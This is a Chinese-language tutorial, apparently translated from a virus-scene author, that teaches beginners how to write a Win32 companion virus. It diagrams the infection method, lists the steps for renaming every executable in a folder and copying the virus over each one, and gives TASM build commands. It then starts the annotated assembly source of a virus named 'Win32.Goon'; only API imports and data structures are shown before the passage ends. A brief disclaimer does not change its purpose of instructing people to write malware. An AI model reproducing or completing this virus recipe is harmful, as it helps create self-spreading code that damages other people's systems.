对简单Win32伴侣病毒的研究
朋友们好,今天我在29A#6中读到了Benny写的一篇文章。它题目是“病毒界的现状”。我对此进行了思考,而后我决然写这篇教程!因为我想通过这个教程分享我所有的病毒知识。这个教程并不适于了解了本文所述更多内容更多的朋友,但对于初学者和新手(像我)来说本文有益。是的,希望如此!当我的知识水平更进一步(下一步学习PE)后,我会写下全部所懂与大家分享。现在,教程开始,希望它对你有所帮助并能坚持看完它!
【声明:文中代码仅供参考,请勿用于不当之处!】
1.什么是伴侣病毒
伴侣病毒不改变宿主程序的代码,也没有添加代码,挂起或者其他任何动作。它仅仅是重命名宿主程序,然后把自己复制为宿主程序原来的文件名。当你运行程序时,病毒会首先运行,当它所有工作完成,才接着运行宿主程序。你可以把宿主和病毒两者的文件名都重命名回原先的文件名,这样宿主程序就能恢复正常。下面给出全过程的原理图。
第一步:
/-------------\ /-----------\
| | | |
| Program.EXE | ;目标文件的 | Virus.EXE | ;我们必须了解病毒文件中的
| | ;原先文件名 | | ;API函数: GetCommandLineA
\-------------/ \-----------/
第二步:
/-------------\ /-----------\
| | | |
| Program.EXE | | Virus.EXE |
| | | |
\-------------/ \-----------/
|
|
复制为
|
|
/-------------\
| |
| Program.SYS |
| |
\-------------/
第三步:
/-------------\ /-----------\
| | | |
| Program.EXE |<---------复制为-----------| Virus.EXE |
| | | |
\-------------/ \-----------/
恢复方法:
删除Program.EXE,把Program.SYS重命名回Program.EXE,所做就这些了。
2.伴侣病毒如何工作的
(1) 获取病毒文件的文件名
(2)创建宿主文件的原先文件名
(3)在当前目录搜索到第一个文件
(4)将目标文件复制为另一个文件名
(5)把病毒文件复制为目标文件的原先文件名
(6)搜索下一个文件->重复(4) -->没有其他文件 跳到7.
(7)运行宿主程序 (经过了步骤2)
(8)病毒退出
3.带注释的病毒例子
理论够充足了,让我们看它怎么工作。编译方法:
TASM32 /z /ml /m3 Goon,,; TLINK32 -Tpe -c Goon,Goon,, import,lib ;-----cut----------------------------------------Goon.asm------------------- .386 ;386指令集 .model flat ;内存平坦模式 jumps ;TASM rulez ;+++++ ; 你能理解,我想 :) ;+++++ extrn GetCommandLineA :PROC ;获取病毒文件和宿主文件 extrn lstrcpyA :PROC ;复制字符串 extrn FindFirstFileA :PROC ;搜索当前目录第一个匹配的文件 extrn FindNextFileA :PROC ;通过文件句柄搜索下一个文件 extrn CopyFileA :PROC ;复制文件 (往上看 _2_) extrn CreateProcessA :PROC ;运行宿主 extrn ExitProcess :PROC ;退出病毒程序 ;+++++ ; 这里,我们声明必需的API函数 ; 我想你能理解 ;+++++ .data Goon db ’Win32.Goon - Virus’,0 db ’Only a Example Code’,0 db ’by DiA/auXnet’,0 FILETIME STRUC FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? FILETIME ENDS WIN32_FIND_DATA label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db 260d dup (?) WFD_szAlternateFileName db 13 dup (?) WFD_szAlternateEnding db 03 dup (?) ;+++++